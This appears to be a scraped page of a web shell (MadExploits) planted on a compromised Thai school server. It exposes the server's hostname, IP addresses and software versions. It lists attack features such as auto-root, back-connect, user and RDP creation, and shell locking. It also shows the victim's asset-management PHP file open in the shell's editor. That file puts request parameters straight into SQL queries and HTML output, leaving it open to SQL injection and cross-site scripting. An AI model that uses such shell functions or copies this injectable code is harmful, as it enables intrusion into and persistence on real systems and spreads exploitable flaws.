Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
asset /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
asset.php
89.73
KB
-rw-r--r--
asset_budget_type.php
6.99
KB
-rw-r--r--
asset_building.php
7.37
KB
-rw-r--r--
asset_code_model.php
7.75
KB
-rw-r--r--
asset_company.php
9.95
KB
-rw-r--r--
asset_form_upload.php
4.74
KB
-rw-r--r--
asset_list.php
12.23
KB
-rw-r--r--
asset_method.php
6.91
KB
-rw-r--r--
asset_notification.php
38.37
KB
-rw-r--r--
asset_permission.php
13.12
KB
-rw-r--r--
asset_print.php
9.88
KB
-rw-r--r--
asset_print1.php
8.43
KB
-rw-r--r--
asset_print_lend.php
3.49
KB
-rw-r--r--
asset_print_lend1.php
9.59
KB
-rw-r--r--
asset_print_lend2.php
8.85
KB
-rw-r--r--
asset_print_lendAll.php
3.27
KB
-rw-r--r--
asset_print_lendAll1.php
9.84
KB
-rw-r--r--
asset_print_qrcode.php
10.28
KB
-rw-r--r--
asset_print_qrcode1.php
1.45
KB
-rw-r--r--
asset_report1.php
20
KB
-rw-r--r--
asset_report23.php
20.09
KB
-rw-r--r--
asset_report4.php
19.76
KB
-rw-r--r--
asset_report_to_excell.php
6.54
KB
-rw-r--r--
asset_set.php
8.43
KB
-rw-r--r--
asset_status3.php
85.25
KB
-rw-r--r--
asset_status40.php
85.27
KB
-rw-r--r--
asset_type.php
9.5
KB
-rw-r--r--
index.php
5.76
KB
-rw-r--r--
livesearch.php
2.11
KB
-rw-r--r--
livesearch_notification.php
954
B
-rw-r--r--
manual.php
1.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : asset_budget_type.php
<script type="text/javascript" src="css/scrolltop/scrolltopcontrol.js"></script> <?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); //sd page if($result_permission['p1']!=1){ exit(); } echo "<br />"; if(!(($index==1) or ($index==2) or ($index==5))){ echo "<center><font color='#006666' size='3'><strong>ประเภทเงิน - ที่ใช้ในการจัดหาพัสดุ</strong></font></center>"; } //ส่วนเพิ่มข้อมูล if($index==1){ echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>เพิ่มข้อมูล</B></Font>"; echo "</Cener>"; echo "<Br><Br>"; echo "<Table width='60%' Border='0'>"; echo "<Tr align='left'><Td width=20></Td><Td align='right'>รหัส </Td><Td><Input Type='Text' Name='code' Size='5'></Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>ชื่อประเภท </Td><Td><Input Type='Text' Name='name' Size='40'></Td></Tr>"; echo "<Br>"; echo "</Table>"; echo "<Br>"; echo "<INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url(1)' class=entrybutton> <INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url(0)' class=entrybutton'>"; echo "<Br><Br>"; echo "</form>"; } //ส่วนยืนยันการลบข้อมูล if($index==2) { echo "<table width='500' border='0' align='center'>"; echo "<tr><td align='center'><font color='#990000' size='4'>โปรดยืนยันความต้องการลบข้อมูลอีกครั้ง</font><br></td></tr>"; echo "<tr><td align=center>"; echo "<INPUT TYPE='button' name='smb' value='ยืนยัน' onclick='location.href=\"?option=asset&task=main/asset_budget_type&index=3&id=$_GET[id]&page=$_REQUEST[page]\"'> <INPUT TYPE='button' name='back' value='ยกเลิก' onclick='location.href=\"?option=asset&task=main/asset_budget_type&page=$_REQUEST[page]\"'"; echo "</td></tr></table>"; } //ส่วนลบข้อมูล if($index==3){ $sql = "delete from asset_budget_type where id=$_GET[id]"; $dbquery = mysqli_query($connect,$sql); } //ส่วนเพิ่มข้อมูล if($index==4){ $sql = "select * from asset_budget_type where code='$_POST[code]' "; $dbquery = mysqli_query($connect,$sql); if(mysqli_num_rows($dbquery)>=1){ echo "<br /><div align='center'>มีรหัสซ้ำกับรายการที่มีอยู่แล้ว ตรวจสอบอีกครั้ง</div>"; exit(); } $sql = "insert into asset_budget_type (code,name) values ('$_POST[code]','$_POST[name]')"; $dbquery = mysqli_query($connect,$sql); } //ส่วนฟอร์มแก้ไขข้อมูล if ($index==5){ echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size=3><B>แก้ไข</B></Font>"; echo "</Cener>"; echo "<Br><Br>"; $sql = "select * from asset_budget_type where id='$_GET[id]'"; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); echo "<Table width=70% Border=0 Bgcolor=#Fcf9d8>"; echo "<Tr align='left'><Td width=20></Td><Td align='right'>รหัส </Td><Td><Input Type='Text' Name='code' Size='5' value='$result[code]'></Td></Tr>"; echo "<Tr align='left'><Td ></Td><Td align='right'>ชื่อประเภท </Td><Td><Input Type='Text' Name='name' id='name' Size='40' value='$result[name]'></Td></Tr>"; echo "</Table>"; echo "<Br />"; echo "<Input Type=Hidden Name='id' Value='$_GET[id]'>"; echo "<Input Type=Hidden Name='page' Value='$_GET[page]'>"; echo "<INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url_update(1)' class=entrybutton> <INPUT TYPE='button' name='back' value='ย้อนกลับ' onclick='goto_url_update(0)' class=entrybutton'>"; echo "</form>"; } //ส่วนปรับปรุงข้อมูล if ($index==6){ $sql = "select * from asset_budget_type where code='$_POST[code]' and id!='$_POST[id]' "; $dbquery = mysqli_query($connect,$sql); if(mysqli_num_rows($dbquery)>=1){ echo "<br /><div align='center'>มีรหัสซ้ำกับรายการที่มีอยู่แล้ว ตรวจสอบอีกครั้ง</div>"; exit(); } $sql = "update asset_budget_type set code='$_POST[code]', name='$_POST[name]' where id='$_POST[id]'"; $dbquery = mysqli_query($connect,$sql); } //ส่วนการแสดงผล if(!(($index==2) or ($index==5))){ $sql = "select * from asset_budget_type order by code"; $dbquery = mysqli_query($connect,$sql); echo "<table width=60% border=0 align=center>"; if($index!=1){ echo "<Tr><Td colspan='6' align='left'><INPUT TYPE='button' name='smb' value='เพิ่มข้อมูล' onclick='location.href=\"?option=asset&task=main/asset_budget_type&index=1\"'>"; } echo "</Td></Tr>"; echo "<Tr bgcolor=#FFCCCC align='center' class=style2><Td width='50'>ที่</Td><Td width='100'>รหัส</Td><Td>ชื่อ</Td><Td width='50'>ลบ</Td><Td width='50'>แก้ไข</Td></Tr>"; $M=1; While ($result = mysqli_fetch_array($dbquery)) { $id = $result['id']; $code= $result['code']; $name = $result['name']; if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; echo "<Tr bgcolor=$color align=center class=style1 onmouseover=\"javascript:this.bgColor='$color_bgover'\" onmouseout=\"javascript:this.bgColor='$color'\"><Td>$M</Td><Td align='center'>$code</Td> <Td align='left'>$name</Td><Td><div align='center'><a href=?option=asset&task=main/asset_budget_type&index=2&id=$id&page=$page><img src=images/my-icons/drop.png width='18' height='18' border='0' alt='ลบ'></a></div></Td> <Td><a href=?option=asset&task=main/asset_budget_type&index=5&id=$id&page=$page><img src=images/my-icons/edit.png width='18' height='18' border='0' alt='แก้ไข'></a></div></Td> </Tr>"; $M++; } echo "</Table>"; } ?> <script> function goto_url(val){ if(val==0){ callfrm("?option=asset&task=main/asset_budget_type"); // page ย้อนกลับ }else if(val==1){ if(frm1.code.value == ""){ alert("กรุณากรอกรหัส"); }else if(frm1.name.value==""){ alert("กรุณากรอกชื่อประเภท"); }else{ callfrm("?option=asset&task=main/asset_budget_type&index=4"); //page ประมวลผล } } } function goto_url_update(val){ if(val==0){ callfrm("javascript:history.back(-1)"); // page ย้อนกลับ }else if(val==1){ if(frm1.code.value == ""){ alert("กรุณากรอกรหัส"); }else if(frm1.name.value==""){ alert("กรุณากรอกชื่อประเภท"); }else{ callfrm("?option=asset&task=main/asset_budget_type&index=6"); //page ประมวลผล } } } </script>
Close